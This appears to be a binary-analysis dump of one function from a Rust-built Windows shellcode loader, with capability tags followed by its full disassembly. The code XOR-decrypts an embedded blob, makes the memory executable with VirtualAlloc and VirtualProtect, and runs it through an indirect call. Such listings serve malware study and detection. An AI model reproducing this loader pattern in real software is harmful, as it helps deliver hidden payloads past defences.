Function at 0x140004470
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb0
movzx eax, byte [0x140118141]
mov ecx, 0xba870
mov edx, 1
call fcn.1400053d0
test rax, rax
je 0x140004872
mov rdi, rax
lea rdx, [0x140046cf8]
mov r8d, 0xba870
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x20], xmm0
mov ecx, 0x9d06ecc7
mov rax, 0xfffffffffffffffc
nop dword [rax + rax]
mov edx, ecx
shl edx, 0xd
xor edx, ecx
mov r8d, edx
shr r8d, 0x11
xor r8d, edx
mov ecx, r8d
shl ecx, 5
xor ecx, r8d
mov dword [rsp + rax + 0x24], ecx
add rax, 4
cmp rax, 0x3c
jb 0x1400044e0
mov rax, qword [0x140101580]
xor rax, qword [rsp + 0x20]
mov rcx, qword [0x140101588]
xor rcx, qword [rsp + 0x28]
mov rdx, qword [str.R_8]
xor rdx, qword [rsp + 0x30]
mov r8, qword [0x140101598]
xor r8, qword [rsp + 0x38]
mov r9, qword [0x1401015a0]
xor r9, qword [rsp + 0x40]
mov r10, qword [0x1401015a8]
xor r10, qword [rsp + 0x48]
mov r11, qword [0x1401015b0]
xor r11, qword [rsp + 0x50]
mov rsi, qword [0x1401015b8]
xor rsi, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x48], r10
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x58], rsi
lea rsi, [rsp + 0x90]
lea rdx, [rsp + 0x20]
mov r8d, 0x40
mov r9d, 0x20
mov rcx, rsi
call fcn.1400056c0
cmp qword [rsp + 0x90], 0
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xa0]
je 0x1400045e2
lea rax, [rdx*2]
test rax, rax
je 0x14000473f
jmp 0x140004734
mov rax, qword [rsp + 0xa8]
test rax, rax
je 0x140004a57
mov r8d, 0xba870
mov r9, rdi
jmp 0x140004609
sub r8, r10
je 0x14000472f
mov r11, r9
cmp r8, rax
mov r10, rax
cmovb r10, r8
add r9, r10
cmp r10, 8
jb 0x14000462d
lea rbx, [rcx + r10]
cmp r11, rbx
jae 0x1400046a0
cmp rcx, r9
jae 0x1400046a0
xor ebx, ebx
mov r15, r10
mov r14, rbx
and r15, 3
je 0x140004656
mov r12, rbx
nop
movzx ebp, byte [rcx + r12]
xor byte [r11 + r12], bpl
lea r14, [r12 + 1]
mov r12, r14
dec r15
jne 0x140004640
sub rbx, r10
cmp rbx, 0xfffffffffffffffc
ja 0x140004600
nop
movzx ebx, byte [rcx + r14]
xor byte [r11 + r14], bl
movzx ebx, byte [rcx + r14 + 1]
xor byte [r11 + r14 + 1], bl
movzx ebx, byte [rcx + r14 + 2]
xor byte [r11 + r14 + 2], bl
movzx ebx, byte [rcx + r14 + 3]
xor byte [r11 + r14 + 3], bl
lea rbx, [r14 + 4]
mov r14, rbx
cmp r10, rbx
jne 0x140004660
jmp 0x140004600
cmp r10, 0x20
jae 0x1400046aa
xor ebx, ebx
jmp 0x140004703
mov rbx, r10
and rbx, 0xffffffffffffffe0
xor r14d, r14d
nop word cs:[rax + rax]
movups xmm0, xmmword [rcx + r14]
movups xmm1, xmmword [rcx + r14 + 0x10]
movups xmm2, xmmword [r11 + r14]
xorps xmm2, xmm0
movups xmm0, xmmword [r11 + r14 + 0x10]
xorps xmm0, xmm1
movups xmmword [r11 + r14], xmm2
movups xmmword [r11 + r14 + 0x10], xmm0
add r14, 0x20
cmp rbx, r14
jne 0x1400046c0
cmp r10, rbx
je 0x140004600
test r10b, 0x18
je 0x14000462f
mov r14, rbx
mov rbx, r10
and rbx, 0xfffffffffffffff8
nop dword [rax]
mov r15, qword [rcx + r14]
xor qword [r11 + r14], r15
add r14, 8
cmp rbx, r14
jne 0x140004710
cmp r10, rbx
je 0x140004600
jmp 0x14000462f
test rdx, rdx
je 0x14000473f
mov r8d, 1
call fcn.1400053e0
movzx eax, byte [0x140118141]
mov ecx, 0xba870
mov edx, 1
call fcn.1400053d0
test rax, rax
je 0x140004872
mov rbx, rax
mov r8d, 0xba870
mov rcx, rax
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov edx, 0xba870
mov r8d, 1
mov rcx, rdi
call fcn.1400053e0
mov edx, 0xba870
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call sub.kernel32.dll_VirtualAlloc
test rax, rax
je 0x140004881
mov rdi, rax
mov r8d, 0xba870
mov rcx, rax
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x20]
mov edx, 0xba870
mov rcx, rdi
mov r8d, 0x40
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x1400048b8
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x20]
mov edx, 0xba870
mov rcx, rdi
mov r8d, 1
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x140004930
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x20]
mov edx, 0xba870
mov rcx, rdi
mov r8d, 0x40
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x1400049a8
call rdi
mov rcx, rdi
xor edx, edx
mov r8d, 0x8000
call sub.kernel32.dll_VirtualFree
test eax, eax
je 0x140004a20
mov edx, 0xba870
mov r8d, 1
mov rcx, rbx
call fcn.1400053e0
nop
add rsp, 0xb0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, 1
mov edx, 0xba870
call fcn.140044d80
lea rax, str.Failed_to_allocate_memory
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.src_ven.rs
lea rcx, [rsp + 0x20]
call fcn.140044e80
call fcn.140028c50
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x90], rax
mov rcx, rdi
xor edx, edx
mov r8d, 0x8000
call sub.kernel32.dll_VirtualFree
mov qword [rsp + 0x60], rsi
lea rax, [0x140020830]
mov qword [rsp + 0x68], rax
lea rax, str.Failed_to_change_memory_protection:
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rdx, str.src_ven.rs
lea rcx, [rsp + 0x20]
call fcn.140044e80
call fcn.140028c50
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x90], rax
mov rcx, rdi
xor edx, edx
mov r8d, 0x8000
call sub.kernel32.dll_VirtualFree
mov qword [rsp + 0x60], rsi
lea rax, [0x140020830]
mov qword [rsp + 0x68], rax
lea rax, str.Failed_to_set_memory_to_no_access:
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rdx, str.src_ven.rs
lea rcx, [rsp + 0x20]
call fcn.140044e80
call fcn.140028c50
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x90], rax
mov rcx, rdi
xor edx, edx
mov r8d, 0x8000
call sub.kernel32.dll_VirtualFree
mov qword [rsp + 0x60], rsi
lea rax, [0x140020830]
mov qword [rsp + 0x68], rax
lea rax, str.Failed_to_set_memory_to_execute:
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rdx, str.src_ven.rs
lea rcx, [rsp + 0x20]
call fcn.140044e80
lea rax, str.Failed_to_free_memory
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.src_ven.rs
lea rcx, [rsp + 0x20]
call fcn.140044e80
lea rax, str.chunk_size_must_be_non_zero
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersHassp.cargo_registry_srcindex.crates.io_6f17d22bba15001finclude_crypt_crypto_0.1.0_srcxor.rs
lea rcx, [rsp + 0x60]
call fcn.140044e80
int3